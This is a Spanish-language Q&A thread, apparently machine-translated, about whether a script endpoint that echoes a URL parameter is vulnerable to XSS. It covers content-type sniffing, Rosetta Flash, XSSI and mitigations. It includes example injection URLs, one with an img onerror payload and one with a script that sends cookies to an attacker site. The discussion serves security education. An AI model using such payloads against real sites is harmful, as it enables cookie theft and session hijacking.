¿Vulnerabilidad de XSS en la respuesta de script sin formato?

En términos generales , no, este no es un problema de Cross Site Scripting (XSS).

Puedes tener tres problemas:

1. Si el atacante controla los primeros bytes de la salida, el El ataque de Rosetta Flash se puede utilizar para desencadenar una secuencia de comandos de sitio cruzado (XSS), independientemente del tipo de contenido de la página. Pero si empiezas la salida con /* , como dijiste, no puedo ver ningún riesgo;
2. Los navegadores desactualizados (por ejemplo, IE 7) tienen problemas para detectar contenido, por lo que incluso si configuras el tipo de contenido de tu página en text/javascript , un atacante podría engañar al navegador para que ejecute tu página como HTML. Hoy en día, este tipo de ataque es muy raro. Use el siguiente encabezado para estar más seguro;

  

Opciones de tipo de contenido X: nosniff

3. Si tiene información confidencial en su javascript en función de una sesión autenticada, tiene otra vulnerabilidad, denominada inclusión de secuencias de comandos entre sitios (XSSI).

Actualización importante:

Supongo que estás sirviendo la página con Content-Type: text/javascript .

Si está sirviendo la página con Content-Type: text/html y no está codificando < y > , usted es completamente vulnerable a XSS .

Ejemplo:

http://example.com/CombinedScripts?file=<img src=x onerror=alert(9)>

¿Qué pasa con un enlace como http://example.com/CombinedScripts?file=<script>send(cookie.getData,attackersProxySite);</script> ?

¿Codifica correctamente los caracteres html pasados?

Editar: Como parece que esto le permite al atacante enviar cualquier javascript desde su sitio web a su página web, pensé que esto les permitiría acceder a datos que no deberían. Pero parece que me equivoqué y la misma protección de origen se basa en el origen de la página html en la que se encuentra el javascript, no en el archivo javascript. Por lo tanto, su vulnerabilidad es si pueden devolver una página web completa.

Depende de si está sirviendo el tipo de contenido correctamente en sus archivos js. Es un error de configuración común que los archivos js se sirvan con text/html tipo de contenido. Esto no romperá una página que incluya el archivo js, pero hará que un navegador moderno muestre el archivo como html si la url se introduce directamente en la barra de direcciones.

Un estafador puede enviar URL falsas por correo electrónico a los objetivos con la esperanza de que hagan clic en la URL que parece segura. Pero si los archivos js se sirven como html y se procesan, entonces pueden ejecutar códigos js arbitrarios en el cliente y potencialmente eliminar cookies o cualquier otra información confidencial disponible en esa página. Peor aún, pueden incluso aprovechar cualquier vulnerabilidad de día cero que pueda existir en el navegador del cliente.

En la práctica, diría cambiar ese mecanismo para que no dependa de la entrada de URL, o al menos debería realizar la verificación de validación de entrada y generar un error en una entrada no reconocida. Pero en teoría, estará mucho más seguro si se asegura de que sirve el tipo de contenido como text/javascript